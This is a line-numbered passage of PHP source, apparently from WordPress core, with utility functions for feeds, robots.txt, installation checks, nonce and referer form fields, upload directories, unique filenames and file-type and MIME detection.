1085}
1086
1087/**
1088 * Load either Atom comment feed or Atom posts feed.
1089 *
1090 * @since 2.1.0
1091 *
1092 * @param bool $for_comments True for the comment feed, false for normal feed.
1093 */
1094
1095function do_feed_atom( $for_comments ) {
1096 if ($for_comments)
1097 load_template( ABSPATH . WPINC . '/feed-atom-comments.php');
1098 else
1099 load_template( ABSPATH . WPINC . '/feed-atom.php' );
1100}
1101
1102/**
1103 * Display the robots.txt file content.
1104 *
1105 * The echo content should be with usage of the permalinks or for creating the
1106 * robots.txt file.
1107 *
1108 * @since 2.1.0
1109 * @uses do_action() Calls 'do_robotstxt' hook for displaying robots.txt rules.
1110 */
1111
1112function do_robots() {
1113 header( 'Content-Type: text/plain; charset=utf-8' );
1114
1115 do_action( 'do_robotstxt' );
1116
1117 $output = "User-agent: *\n";
1118 $public = get_option( 'blog_public' );
1119 if ( '0' == $public ) {
1120 $output .= "Disallow: /\n";
1121 } else {
1122 $site_url = parse_url( site_url() );
1123 $path = ( !empty( $site_url['path'] ) ) ? $site_url['path'] : '';
1124 $output .= "Disallow: $path/wp-admin/\n";
1125 $output .= "Disallow: $path/wp-includes/\n";
1126 }
1127
1128 echo apply_filters('robots_txt', $output, $public);
1129}
1130
1131/**
1132 * Test whether blog is already installed.
1133 *
1134 * The cache will be checked first. If you have a cache plugin, which saves the
1135 * cache values, then this will work. If you use the default WordPress cache,
1136 * and the database goes away, then you might have problems.
1137 *
1138 * Checks for the option siteurl for whether WordPress is installed.
1139 *
1140 * @since 2.1.0
1141 * @uses $wpdb
1142 *
1143 * @return bool Whether blog is already installed.
1144 */
1145
1146function is_blog_installed() {
1147 global $wpdb;
1148
1149 // Check cache first. If options table goes away and we have true cached, oh well.
1150 if ( wp_cache_get( 'is_blog_installed' ) )
1151 return true;
1152
1153 $suppress = $wpdb->suppress_errors();
1154 if ( ! defined( 'WP_INSTALLING' ) ) {
1155 $alloptions = wp_load_alloptions();
1156 }
1157 // If siteurl is not set to autoload, check it specifically
1158 if ( !isset( $alloptions['siteurl'] ) )
1159 $installed = $wpdb->get_var( "SELECT option_value FROM $wpdb->options WHERE option_name = 'siteurl'" );
1160 else
1161 $installed = $alloptions['siteurl'];
1162 $wpdb->suppress_errors( $suppress );
1163
1164 $installed = !empty( $installed );
1165 wp_cache_set( 'is_blog_installed', $installed );
1166
1167 if ( $installed )
1168 return true;
1169
1170 // If visiting repair.php, return true and let it take over.
1171 if ( defined( 'WP_REPAIRING' ) )
1172 return true;
1173
1174 $suppress = $wpdb->suppress_errors();
1175
1176 // Loop over the WP tables. If none exist, then scratch install is allowed.
1177 // If one or more exist, suggest table repair since we got here because the options
1178 // table could not be accessed.
1179 $wp_tables = $wpdb->tables();
1180 foreach ( $wp_tables as $table ) {
1181 // The existence of custom user tables shouldn't suggest an insane state or prevent a clean install.
1182 if ( defined( 'CUSTOM_USER_TABLE' ) && CUSTOM_USER_TABLE == $table )
1183 continue;
1184 if ( defined( 'CUSTOM_USER_META_TABLE' ) && CUSTOM_USER_META_TABLE == $table )
1185 continue;
1186
1187 if ( ! $wpdb->get_results( "DESCRIBE $table;" ) )
1188 continue;
1189
1190 // One or more tables exist. We are insane.
1191
1192 wp_load_translations_early();
1193
1194 // Die with a DB error.
1195 $wpdb->error = sprintf( __( 'One or more database tables are unavailable. The database may need to be <a href="%s">repaired</a>.' ), 'maint/repair.php?referrer=is_blog_installed' );
1196 dead_db();
1197 }
1198
1199 $wpdb->suppress_errors( $suppress );
1200
1201 wp_cache_set( 'is_blog_installed', false );
1202
1203 return false;
1204}
1205
1206/**
1207 * Retrieve URL with nonce added to URL query.
1208 *
1209 * @package WordPress
1210 * @subpackage Security
1211 * @since 2.0.4
1212 *
1213 * @param string $actionurl URL to add nonce action
1214 * @param string $action Optional. Nonce action name
1215 * @return string URL with nonce action added.
1216 */
1217
1218function wp_nonce_url( $actionurl, $action = -1 ) {
1219 $actionurl = str_replace( '&', '&', $actionurl );
1220 return esc_html( add_query_arg( '_wpnonce', wp_create_nonce( $action ), $actionurl ) );
1221}
1222
1223/**
1224 * Retrieve or display nonce hidden field for forms.
1225 *
1226 * The nonce field is used to validate that the contents of the form came from
1227 * the location on the current site and not somewhere else. The nonce does not
1228 * offer absolute protection, but should protect against most cases. It is very
1229 * important to use nonce field in forms.
1230 *
1231 * The $action and $name are optional, but if you want to have better security,
1232 * it is strongly suggested to set those two parameters. It is easier to just
1233 * call the function without any parameters, because validation of the nonce
1234 * doesn't require any parameters, but since crackers know what the default is
1235 * it won't be difficult for them to find a way around your nonce and cause
1236 * damage.
1237 *
1238 * The input name will be whatever $name value you gave. The input value will be
1239 * the nonce creation value.
1240 *
1241 * @package WordPress
1242 * @subpackage Security
1243 * @since 2.0.4
1244 *
1245 * @param string $action Optional. Action name.
1246 * @param string $name Optional. Nonce name.
1247 * @param bool $referer Optional, default true. Whether to set the referer field for validation.
1248 * @param bool $echo Optional, default true. Whether to display or return hidden form field.
1249 * @return string Nonce field.
1250 */
1251
1252function wp_nonce_field( $action = -1, $name = "_wpnonce", $referer = true , $echo = true ) {
1253 $name = esc_attr( $name );
1254 $nonce_field = '<input type="hidden" id="' . $name . '" name="' . $name . '" value="' . wp_create_nonce( $action ) . '" />';
1255
1256 if ( $referer )
1257 $nonce_field .= wp_referer_field( false );
1258
1259 if ( $echo )
1260 echo $nonce_field;
1261
1262 return $nonce_field;
1263}
1264
1265/**
1266 * Retrieve or display referer hidden field for forms.
1267 *
1268 * The referer link is the current Request URI from the server super global. The
1269 * input name is '_wp_http_referer', in case you wanted to check manually.
1270 *
1271 * @package WordPress
1272 * @subpackage Security
1273 * @since 2.0.4
1274 *
1275 * @param bool $echo Whether to echo or return the referer field.
1276 * @return string Referer field.
1277 */
1278
1279function wp_referer_field( $echo = true ) {
1280 $ref = esc_attr( $_SERVER['REQUEST_URI'] );
1281 $referer_field = '<input type="hidden" name="_wp_http_referer" value="'. $ref . '" />';
1282
1283 if ( $echo )
1284 echo $referer_field;
1285 return $referer_field;
1286}
1287
1288/**
1289 * Retrieve or display original referer hidden field for forms.
1290 *
1291 * The input name is '_wp_original_http_referer' and will be either the same
1292 * value of {@link wp_referer_field()}, if that was posted already or it will
1293 * be the current page, if it doesn't exist.
1294 *
1295 * @package WordPress
1296 * @subpackage Security
1297 * @since 2.0.4
1298 *
1299 * @param bool $echo Whether to echo the original http referer
1300 * @param string $jump_back_to Optional, default is 'current'. Can be 'previous' or page you want to jump back to.
1301 * @return string Original referer field.
1302 */
1303
1304function wp_original_referer_field( $echo = true, $jump_back_to = 'current' ) {
1305 $jump_back_to = ( 'previous' == $jump_back_to ) ? wp_get_referer() : $_SERVER['REQUEST_URI'];
1306 $ref = ( wp_get_original_referer() ) ? wp_get_original_referer() : $jump_back_to;
1307 $orig_referer_field = '<input type="hidden" name="_wp_original_http_referer" value="' . esc_attr( stripslashes( $ref ) ) . '" />';
1308 if ( $echo )
1309 echo $orig_referer_field;
1310 return $orig_referer_field;
1311}
1312
1313/**
1314 * Retrieve referer from '_wp_http_referer' or HTTP referer. If it's the same
1315 * as the current request URL, will return false.
1316 *
1317 * @package WordPress
1318 * @subpackage Security
1319 * @since 2.0.4
1320 *
1321 * @return string|bool False on failure. Referer URL on success.
1322 */
1323
1324function wp_get_referer() {
1325 $ref = false;
1326 if ( ! empty( $_REQUEST['_wp_http_referer'] ) )
1327 $ref = $_REQUEST['_wp_http_referer'];
1328 else if ( ! empty( $_SERVER['HTTP_REFERER'] ) )
1329 $ref = $_SERVER['HTTP_REFERER'];
1330
1331 if ( $ref && $ref !== $_SERVER['REQUEST_URI'] )
1332 return $ref;
1333 return false;
1334}
1335
1336/**
1337 * Retrieve original referer that was posted, if it exists.
1338 *
1339 * @package WordPress
1340 * @subpackage Security
1341 * @since 2.0.4
1342 *
1343 * @return string|bool False if no original referer or original referer if set.
1344 */
1345
1346function wp_get_original_referer() {
1347 if ( !empty( $_REQUEST['_wp_original_http_referer'] ) )
1348 return $_REQUEST['_wp_original_http_referer'];
1349 return false;
1350}
1351
1352/**
1353 * Recursive directory creation based on full path.
1354 *
1355 * Will attempt to set permissions on folders.
1356 *
1357 * @since 2.0.1
1358 *
1359 * @param string $target Full path to attempt to create.
1360 * @return bool Whether the path was created. True if path already exists.
1361 */
1362
1363function wp_mkdir_p( $target ) {
1364 $wrapper = null;
1365
1366 // strip the protocol
1367 if( wp_is_stream( $target ) ) {
1368 list( $wrapper, $target ) = explode( '://', $target, 2 );
1369 }
1370
1371 // from php.net/mkdir user contributed notes
1372 $target = str_replace( '//', '/', $target );
1373
1374 // put the wrapper back on the target
1375 if( $wrapper !== null ) {
1376 $target = $wrapper . '://' . $target;
1377 }
1378
1379 // safe mode fails with a trailing slash under certain PHP versions.
1380 $target = rtrim($target, '/'); // Use rtrim() instead of untrailingslashit to avoid formatting.php dependency.
1381 if ( empty($target) )
1382 $target = '/';
1383
1384 if ( file_exists( $target ) )
1385 return @is_dir( $target );
1386
1387 // Attempting to create the directory may clutter up our display.
1388 if ( @mkdir( $target ) ) {
1389 $stat = @stat( dirname( $target ) );
1390 $dir_perms = $stat['mode'] & 0007777; // Get the permission bits.
1391 @chmod( $target, $dir_perms );
1392 return true;
1393 } elseif ( is_dir( dirname( $target ) ) ) {
1394 return false;
1395 }
1396
1397 // If the above failed, attempt to create the parent node, then try again.
1398 if ( ( $target != '/' ) && ( wp_mkdir_p( dirname( $target ) ) ) )
1399 return wp_mkdir_p( $target );
1400
1401 return false;
1402}
1403
1404/**
1405 * Test if a give filesystem path is absolute ('/foo/bar', 'c:\windows').
1406 *
1407 * @since 2.5.0
1408 *
1409 * @param string $path File path
1410 * @return bool True if path is absolute, false is not absolute.
1411 */
1412
1413function path_is_absolute( $path ) {
1414 // this is definitive if true but fails if $path does not exist or contains a symbolic link
1415 if ( realpath($path) == $path )
1416 return true;
1417
1418 if ( strlen($path) == 0 || $path[0] == '.' )
1419 return false;
1420
1421 // windows allows absolute paths like this
1422 if ( preg_match('#^[a-zA-Z]:\\\\#', $path) )
1423 return true;
1424
1425 // a path starting with / or \ is absolute; anything else is relative
1426 return ( $path[0] == '/' || $path[0] == '\\' );
1427}
1428
1429/**
1430 * Join two filesystem paths together (e.g. 'give me $path relative to $base').
1431 *
1432 * If the $path is absolute, then it the full path is returned.
1433 *
1434 * @since 2.5.0
1435 *
1436 * @param string $base
1437 * @param string $path
1438 * @return string The path with the base or absolute path.
1439 */
1440
1441function path_join( $base, $path ) {
1442 if ( path_is_absolute($path) )
1443 return $path;
1444
1445 return rtrim($base, '/') . '/' . ltrim($path, '/');
1446}
1447
1448/**
1449 * Determines a writable directory for temporary files.
1450 * Function's preference is the return value of <code>sys_get_temp_dir()</code>,
1451 * followed by your PHP temporary upload directory, followed by WP_CONTENT_DIR,
1452 * before finally defaulting to /tmp/
1453 *
1454 * In the event that this function does not find a writable location,
1455 * It may be overridden by the <code>WP_TEMP_DIR</code> constant in
1456 * your <code>wp-config.php</code> file.
1457 *
1458 * @since 2.5.0
1459 *
1460 * @return string Writable temporary directory
1461 */
1462
1463function get_temp_dir() {
1464 static $temp;
1465 if ( defined('WP_TEMP_DIR') )
1466 return trailingslashit(WP_TEMP_DIR);
1467
1468 if ( $temp )
1469 return trailingslashit( rtrim( $temp, '\\' ) );
1470
1471 $is_win = ( 'WIN' === strtoupper( substr( PHP_OS, 0, 3 ) ) );
1472
1473 if ( function_exists('sys_get_temp_dir') ) {
1474 $temp = sys_get_temp_dir();
1475 if ( @is_dir( $temp ) && ( $is_win ? win_is_writable( $temp ) : @is_writable( $temp ) ) ) {
1476 return trailingslashit( rtrim( $temp, '\\' ) );
1477 }
1478 }
1479
1480 $temp = ini_get('upload_tmp_dir');
1481 if ( is_dir( $temp ) && ( $is_win ? win_is_writable( $temp ) : @is_writable( $temp ) ) )
1482 return trailingslashit( rtrim( $temp, '\\' ) );
1483
1484 $temp = WP_CONTENT_DIR . '/';
1485 if ( is_dir( $temp ) && ( $is_win ? win_is_writable( $temp ) : @is_writable( $temp ) ) )
1486 return $temp;
1487
1488 $temp = '/tmp/';
1489 return $temp;
1490}
1491
1492/**
1493 * Workaround for Windows bug in is_writable() function
1494 *
1495 * @since 2.8.0
1496 *
1497 * @param string $path
1498 * @return bool
1499 */
1500
1501function win_is_writable( $path ) {
1502 /* will work in despite of Windows ACLs bug
1503 * NOTE: use a trailing slash for folders!!!
1504 * see http://bugs.php.net/bug.php?id=27609
1505 * see http://bugs.php.net/bug.php?id=30931
1506 */
1507
1508 if ( $path[strlen( $path ) - 1] == '/' ) // recursively return a temporary file path
1509 return win_is_writable( $path . uniqid( mt_rand() ) . '.tmp');
1510 else if ( is_dir( $path ) )
1511 return win_is_writable( $path . '/' . uniqid( mt_rand() ) . '.tmp' );
1512 // check tmp file for read/write capabilities
1513 $should_delete_tmp_file = !file_exists( $path );
1514 $f = @fopen( $path, 'a' );
1515 if ( $f === false )
1516 return false;
1517 fclose( $f );
1518 if ( $should_delete_tmp_file )
1519 unlink( $path );
1520 return true;
1521}
1522
1523/**
1524 * Get an array containing the current upload directory's path and url.
1525 *
1526 * Checks the 'upload_path' option, which should be from the web root folder,
1527 * and if it isn't empty it will be used. If it is empty, then the path will be
1528 * 'WP_CONTENT_DIR/uploads'. If the 'UPLOADS' constant is defined, then it will
1529 * override the 'upload_path' option and 'WP_CONTENT_DIR/uploads' path.
1530 *
1531 * The upload URL path is set either by the 'upload_url_path' option or by using
1532 * the 'WP_CONTENT_URL' constant and appending '/uploads' to the path.
1533 *
1534 * If the 'uploads_use_yearmonth_folders' is set to true (checkbox if checked in
1535 * the administration settings panel), then the time will be used. The format
1536 * will be year first and then month.
1537 *
1538 * If the path couldn't be created, then an error will be returned with the key
1539 * 'error' containing the error message. The error suggests that the parent
1540 * directory is not writable by the server.
1541 *
1542 * On success, the returned array will have many indices:
1543 * 'path' - base directory and sub directory or full path to upload directory.
1544 * 'url' - base url and sub directory or absolute URL to upload directory.
1545 * 'subdir' - sub directory if uploads use year/month folders option is on.
1546 * 'basedir' - path without subdir.
1547 * 'baseurl' - URL path without subdir.
1548 * 'error' - set to false.
1549 *
1550 * @since 2.0.0
1551 * @uses apply_filters() Calls 'upload_dir' on returned array.
1552 *
1553 * @param string $time Optional. Time formatted in 'yyyy/mm'.
1554 * @return array See above for description.
1555 */
1556
1557function wp_upload_dir( $time = null ) {
1558 $siteurl = get_option( 'siteurl' );
1559 $upload_path = trim( get_option( 'upload_path' ) );
1560
1561 if ( empty( $upload_path ) || 'wp-content/uploads' == $upload_path ) {
1562 $dir = WP_CONTENT_DIR . '/uploads';
1563 } elseif ( 0 !== strpos( $upload_path, ABSPATH ) ) {
1564 // $dir is absolute, $upload_path is (maybe) relative to ABSPATH
1565 $dir = path_join( ABSPATH, $upload_path );
1566 } else {
1567 $dir = $upload_path;
1568 }
1569
1570 if ( !$url = get_option( 'upload_url_path' ) ) {
1571 if ( empty($upload_path) || ( 'wp-content/uploads' == $upload_path ) || ( $upload_path == $dir ) )
1572 $url = WP_CONTENT_URL . '/uploads';
1573 else
1574 $url = trailingslashit( $siteurl ) . $upload_path;
1575 }
1576
1577 // Obey the value of UPLOADS. This happens as long as ms-files rewriting is disabled.
1578 // We also sometimes obey UPLOADS when rewriting is enabled -- see the next block.
1579 if ( defined( 'UPLOADS' ) && ! ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) ) {
1580 $dir = ABSPATH . UPLOADS;
1581 $url = trailingslashit( $siteurl ) . UPLOADS;
1582 }
1583
1584 // If multisite (and if not the main site in a post-MU network)
1585 if ( is_multisite() && ! ( is_main_site() && defined( 'MULTISITE' ) ) ) {
1586
1587 if ( ! get_site_option( 'ms_files_rewriting' ) ) {
1588 // If ms-files rewriting is disabled (networks created post-3.5), it is fairly straightforward:
1589 // Append sites/%d if we're not on the main site (for post-MU networks). (The extra directory
1590 // prevents a four-digit ID from conflicting with a year-based directory for the main site.
1591 // But if a MU-era network has disabled ms-files rewriting manually, they don't need the extra
1592 // directory, as they never had wp-content/uploads for the main site.)
1593
1594 if ( defined( 'MULTISITE' ) )
1595 $ms_dir = '/sites/' . get_current_blog_id();
1596 else
1597 $ms_dir = '/' . get_current_blog_id();
1598
1599 $dir .= $ms_dir;
1600 $url .= $ms_dir;
1601
1602 } elseif ( defined( 'UPLOADS' ) && ! ms_is_switched() ) {
1603 // Handle the old-form ms-files.php rewriting if the network still has that enabled.
1604 // When ms-files rewriting is enabled, then we only listen to UPLOADS when:
1605 // 1) we are not on the main site in a post-MU network,
1606 // as wp-content/uploads is used there, and
1607 // 2) we are not switched, as ms_upload_constants() hardcodes
1608 // these constants to reflect the original blog ID.
1609 //
1610 // Rather than UPLOADS, we actually use BLOGUPLOADDIR if it is set, as it is absolute.
1611 // (And it will be set, see ms_upload_constants().) Otherwise, UPLOADS can be used, as
1612 // as it is relative to ABSPATH. For the final piece: when UPLOADS is used with ms-files
1613 // rewriting in multisite, the resulting URL is /files. (#WP22702 for background.)
1614
1615 if ( defined( 'BLOGUPLOADDIR' ) )
1616 $dir = untrailingslashit( BLOGUPLOADDIR );
1617 else
1618 $dir = ABSPATH . UPLOADS;
1619 $url = trailingslashit( $siteurl ) . 'files';
1620 }
1621 }
1622
1623 $basedir = $dir;
1624 $baseurl = $url;
1625
1626 $subdir = '';
1627 if ( get_option( 'uploads_use_yearmonth_folders' ) ) {
1628 // Generate the yearly and monthly dirs
1629 if ( !$time )
1630 $time = current_time( 'mysql' );
1631 $y = substr( $time, 0, 4 );
1632 $m = substr( $time, 5, 2 );
1633 $subdir = "/$y/$m";
1634 }
1635
1636 $dir .= $subdir;
1637 $url .= $subdir;
1638
1639 $uploads = apply_filters( 'upload_dir',
1640 array(
1641 'path' => $dir,
1642 'url' => $url,
1643 'subdir' => $subdir,
1644 'basedir' => $basedir,
1645 'baseurl' => $baseurl,
1646 'error' => false,
1647 ) );
1648
1649 // Make sure we have an uploads dir
1650 if ( ! wp_mkdir_p( $uploads['path'] ) ) {
1651 if ( 0 === strpos( $uploads['basedir'], ABSPATH ) )
1652 $error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir'];
1653 else
1654 $error_path = basename( $uploads['basedir'] ) . $uploads['subdir'];
1655
1656 $message = sprintf( __( 'Unable to create directory %s. Is its parent directory writable by the server?' ), $error_path );
1657 $uploads['error'] = $message;
1658 }
1659
1660 return $uploads;
1661}
1662
1663/**
1664 * Get a filename that is sanitized and unique for the given directory.
1665 *
1666 * If the filename is not unique, then a number will be added to the filename
1667 * before the extension, and will continue adding numbers until the filename is
1668 * unique.
1669 *
1670 * The callback is passed three parameters, the first one is the directory, the
1671 * second is the filename, and the third is the extension.
1672 *
1673 * @since 2.5.0
1674 *
1675 * @param string $dir
1676 * @param string $filename
1677 * @param mixed $unique_filename_callback Callback.
1678 * @return string New filename, if given wasn't unique.
1679 */
1680
1681function wp_unique_filename( $dir, $filename, $unique_filename_callback = null ) {
1682 // sanitize the file name before we begin processing
1683 $filename = sanitize_file_name($filename);
1684
1685 // separate the filename into a name and extension
1686 $info = pathinfo($filename);
1687 $ext = !empty($info['extension']) ? '.' . $info['extension'] : '';
1688 $name = basename($filename, $ext);
1689
1690 // edge case: if file is named '.ext', treat as an empty name
1691 if ( $name === $ext )
1692 $name = '';
1693
1694 // Increment the file number until we have a unique file to save in $dir. Use callback if supplied.
1695 if ( $unique_filename_callback && is_callable( $unique_filename_callback ) ) {
1696 $filename = call_user_func( $unique_filename_callback, $dir, $name, $ext );
1697 } else {
1698 $number = '';
1699
1700 // change '.ext' to lower case
1701 if ( $ext && strtolower($ext) != $ext ) {
1702 $ext2 = strtolower($ext);
1703 $filename2 = preg_replace( '|' . preg_quote($ext) . '$|', $ext2, $filename );
1704
1705 // check for both lower and upper case extension or image sub-sizes may be overwritten
1706 while ( file_exists($dir . "/$filename") || file_exists($dir . "/$filename2") ) {
1707 $new_number = $number + 1;
1708 $filename = str_replace( "$number$ext", "$new_number$ext", $filename );
1709 $filename2 = str_replace( "$number$ext2", "$new_number$ext2", $filename2 );
1710 $number = $new_number;
1711 }
1712 return $filename2;
1713 }
1714
1715 while ( file_exists( $dir . "/$filename" ) ) {
1716 if ( '' == "$number$ext" )
1717 $filename = $filename . ++$number . $ext;
1718 else
1719 $filename = str_replace( "$number$ext", ++$number . $ext, $filename );
1720 }
1721 }
1722
1723 return $filename;
1724}
1725
1726/**
1727 * Create a file in the upload folder with given content.
1728 *
1729 * If there is an error, then the key 'error' will exist with the error message.
1730 * If success, then the key 'file' will have the unique file path, the 'url' key
1731 * will have the link to the new file. and the 'error' key will be set to false.
1732 *
1733 * This function will not move an uploaded file to the upload folder. It will
1734 * create a new file with the content in $bits parameter. If you move the upload
1735 * file, read the content of the uploaded file, and then you can give the
1736 * filename and content to this function, which will add it to the upload
1737 * folder.
1738 *
1739 * The permissions will be set on the new file automatically by this function.
1740 *
1741 * @since 2.0.0
1742 *
1743 * @param string $name
1744 * @param null $deprecated Never used. Set to null.
1745 * @param mixed $bits File content
1746 * @param string $time Optional. Time formatted in 'yyyy/mm'.
1747 * @return array
1748 */
1749
1750function wp_upload_bits( $name, $deprecated, $bits, $time = null ) {
1751 if ( !empty( $deprecated ) )
1752 _deprecated_argument( __FUNCTION__, '2.0' );
1753
1754 if ( empty( $name ) )
1755 return array( 'error' => __( 'Empty filename' ) );
1756
1757 $wp_filetype = wp_check_filetype( $name );
1758 if ( ! $wp_filetype['ext'] && ! current_user_can( 'unfiltered_upload' ) )
1759 return array( 'error' => __( 'Invalid file type' ) );
1760
1761 $upload = wp_upload_dir( $time );
1762
1763 if ( $upload['error'] !== false )
1764 return $upload;
1765
1766 $upload_bits_error = apply_filters( 'wp_upload_bits', array( 'name' => $name, 'bits' => $bits, 'time' => $time ) );
1767 if ( !is_array( $upload_bits_error ) ) {
1768 $upload[ 'error' ] = $upload_bits_error;
1769 return $upload;
1770 }
1771
1772 $filename = wp_unique_filename( $upload['path'], $name );
1773
1774 $new_file = $upload['path'] . "/$filename";
1775 if ( ! wp_mkdir_p( dirname( $new_file ) ) ) {
1776 if ( 0 === strpos( $upload['basedir'], ABSPATH ) )
1777 $error_path = str_replace( ABSPATH, '', $upload['basedir'] ) . $upload['subdir'];
1778 else
1779 $error_path = basename( $upload['basedir'] ) . $upload['subdir'];
1780
1781 $message = sprintf( __( 'Unable to create directory %s. Is its parent directory writable by the server?' ), $error_path );
1782 return array( 'error' => $message );
1783 }
1784
1785 $ifp = @ fopen( $new_file, 'wb' );
1786 if ( ! $ifp )
1787 return array( 'error' => sprintf( __( 'Could not write file %s' ), $new_file ) );
1788
1789 @fwrite( $ifp, $bits );
1790 fclose( $ifp );
1791 clearstatcache();
1792
1793 // Set correct file permissions
1794 $stat = @ stat( dirname( $new_file ) );
1795 $perms = $stat['mode'] & 0007777;
1796 $perms = $perms & 0000666;
1797 @ chmod( $new_file, $perms );
1798 clearstatcache();
1799
1800 // Compute the URL
1801 $url = $upload['url'] . "/$filename";
1802
1803 return array( 'file' => $new_file, 'url' => $url, 'error' => false );
1804}
1805
1806/**
1807 * Retrieve the file type based on the extension name.
1808 *
1809 * @package WordPress
1810 * @since 2.5.0
1811 * @uses apply_filters() Calls 'ext2type' hook on default supported types.
1812 *
1813 * @param string $ext The extension to search.
1814 * @return string|null The file type, example: audio, video, document, spreadsheet, etc. Null if not found.
1815 */
1816
1817function wp_ext2type( $ext ) {
1818 $ext2type = apply_filters( 'ext2type', array(
1819 'audio' => array( 'aac', 'ac3', 'aif', 'aiff', 'm3a', 'm4a', 'm4b', 'mka', 'mp1', 'mp2', 'mp3', 'ogg', 'oga', 'ram', 'wav', 'wma' ),
1820 'video' => array( 'asf', 'avi', 'divx', 'dv', 'flv', 'm4v', 'mkv', 'mov', 'mp4', 'mpeg', 'mpg', 'mpv', 'ogm', 'ogv', 'qt', 'rm', 'vob', 'wmv' ),
1821 'document' => array( 'doc', 'docx', 'docm', 'dotm', 'odt', 'pages', 'pdf', 'rtf', 'wp', 'wpd' ),
1822 'spreadsheet' => array( 'numbers', 'ods', 'xls', 'xlsx', 'xlsm', 'xlsb' ),
1823 'interactive' => array( 'swf', 'key', 'ppt', 'pptx', 'pptm', 'pps', 'ppsx', 'ppsm', 'sldx', 'sldm', 'odp' ),
1824 'text' => array( 'asc', 'csv', 'tsv', 'txt' ),
1825 'archive' => array( 'bz2', 'cab', 'dmg', 'gz', 'rar', 'sea', 'sit', 'sqx', 'tar', 'tgz', 'zip', '7z' ),
1826 'code' => array( 'css', 'htm', 'html', 'php', 'js' ),
1827 ));
1828 foreach ( $ext2type as $type => $exts )
1829 if ( in_array( $ext, $exts ) )
1830 return $type;
1831}
1832
1833/**
1834 * Retrieve the file type from the file name.
1835 *
1836 * You can optionally define the mime array, if needed.
1837 *
1838 * @since 2.0.4
1839 *
1840 * @param string $filename File name or path.
1841 * @param array $mimes Optional. Key is the file extension with value as the mime type.
1842 * @return array Values with extension first and mime type.
1843 */
1844
1845function wp_check_filetype( $filename, $mimes = null ) {
1846 if ( empty($mimes) )
1847 $mimes = get_allowed_mime_types();
1848 $type = false;
1849 $ext = false;
1850
1851 foreach ( $mimes as $ext_preg => $mime_match ) {
1852 $ext_preg = '!\.(' . $ext_preg . ')$!i';
1853 if ( preg_match( $ext_preg, $filename, $ext_matches ) ) {
1854 $type = $mime_match;
1855 $ext = $ext_matches[1];
1856 break;
1857 }
1858 }
1859
1860 return compact( 'ext', 'type' );
1861}
1862
1863/**
1864 * Attempt to determine the real file type of a file.
1865 * If unable to, the file name extension will be used to determine type.
1866 *
1867 * If it's determined that the extension does not match the file's real type,
1868 * then the "proper_filename" value will be set with a proper filename and extension.
1869 *
1870 * Currently this function only supports validating images known to getimagesize().
1871 *
1872 * @since 3.0.0
1873 *
1874 * @param string $file Full path to the image.
1875 * @param string $filename The filename of the image (may differ from $file due to $file being in a tmp directory)
1876 * @param array $mimes Optional. Key is the file extension with value as the mime type.
1877 * @return array Values for the extension, MIME, and either a corrected filename or false if original $filename is valid
1878 */
1879
1880function wp_check_filetype_and_ext( $file, $filename, $mimes = null ) {
1881
1882 $proper_filename = false;
1883
1884 // Do basic extension validation and MIME mapping
1885 $wp_filetype = wp_check_filetype( $filename, $mimes );
1886 extract( $wp_filetype );
1887
1888 // We can't do any further validation without a file to work with
1889 if ( ! file_exists( $file ) )
1890 return compact( 'ext', 'type', 'proper_filename' );
1891
1892 // We're able to validate images using GD
1893 if ( $type && 0 === strpos( $type, 'image/' ) && function_exists('getimagesize') ) {
1894
1895 // Attempt to figure out what type of image it actually is
1896 $imgstats = @getimagesize( $file );
1897
1898 // If getimagesize() knows what kind of image it really is and if the real MIME doesn't match the claimed MIME
1899 if ( !empty($imgstats['mime']) && $imgstats['mime'] != $type ) {
1900 // This is a simplified array of MIMEs that getimagesize() can detect and their extensions
1901 // You shouldn't need to use this filter, but it's here just in case
1902 $mime_to_ext = apply_filters( 'getimagesize_mimes_to_exts', array(
1903 'image/jpeg' => 'jpg',
1904 'image/png' => 'png',
1905 'image/gif' => 'gif',
1906 'image/bmp' => 'bmp',
1907 'image/tiff' => 'tif',
1908 ) );
1909
1910 // Replace whatever is after the last period in the filename with the correct extension
1911 if ( ! empty( $mime_to_ext[ $imgstats['mime'] ] ) ) {
1912 $filename_parts = explode( '.', $filename );
1913 array_pop( $filename_parts );
1914 $filename_parts[] = $mime_to_ext[ $imgstats['mime'] ];
1915 $new_filename = implode( '.', $filename_parts );
1916
1917 if ( $new_filename != $filename )
1918 $proper_filename = $new_filename; // Mark that it changed
1919
1920 // Redefine the extension / MIME
1921 $wp_filetype = wp_check_filetype( $new_filename, $mimes );
1922 extract( $wp_filetype );
1923 }
1924 }
1925 }
1926
1927 // Let plugins try and validate other types of files
1928 // Should return an array in the style of array( 'ext' => $ext, 'type' => $type, 'proper_filename' => $proper_filename )
1929 return apply_filters( 'wp_check_filetype_and_ext', compact( 'ext', 'type', 'proper_filename' ), $file, $filename, $mimes );
1930}
1931
1932/**
1933 * Retrieve list of mime types and file extensions.
1934 *
1935 * @since 3.5.0
1936 *
1937 * @uses apply_filters() Calls 'mime_types' on returned array. This filter should
1938 * be used to add types, not remove them. To remove types use the upload_mimes filter.
1939 *
1940 * @return array Array of mime types keyed by the file extension regex corresponding to those types.
1941 */
1942
1943function wp_get_mime_types() {
1944 // Accepted MIME types are set here as PCRE unless provided.
1945 return apply_filters( 'mime_types', array(
1946 // Image formats
1947 'jpg|jpeg|jpe' => 'image/jpeg',
1948 'gif' => 'image/gif',
1949 'png' => 'image/png',
1950 'bmp' => 'image/bmp',
1951 'tif|tiff' => 'image/tiff',
1952 'ico' => 'image/x-icon',
1953 // Video formats
1954 'asf|asx|wax|wmv|wmx' => 'video/asf',
1955 'avi' => 'video/avi',
1956 'divx' => 'video/divx',
1957 'flv' => 'video/x-flv',
1958 'mov|qt' => 'video/quicktime',
1959 'mpeg|mpg|mpe' => 'video/mpeg',
1960 'mp4|m4v' => 'video/mp4',
1961 'ogv' => 'video/ogg',
1962 'mkv' => 'video/x-matroska',
1963 // Text formats
1964 'txt|asc|c|cc|h' => 'text/plain',
1965 'csv' => 'text/csv',
1966 'tsv' => 'text/tab-separated-values',
1967 'ics' => 'text/calendar',
1968 'rtx' => 'text/richtext',
1969 'css' => 'text/css',
1970 'htm|html' => 'text/html',
1971 // Audio formats
1972 'mp3|m4a|m4b' => 'audio/mpeg',
1973 'ra|ram' => 'audio/x-realaudio',
1974 'wav' => 'audio/wav',
1975 'ogg|oga' => 'audio/ogg',
1976 'mid|midi' => 'audio/midi',
1977 'wma' => 'audio/wma',
1978 'mka' => 'audio/x-matroska',
1979 // Misc application formats
1980 'rtf' => 'application/rtf',
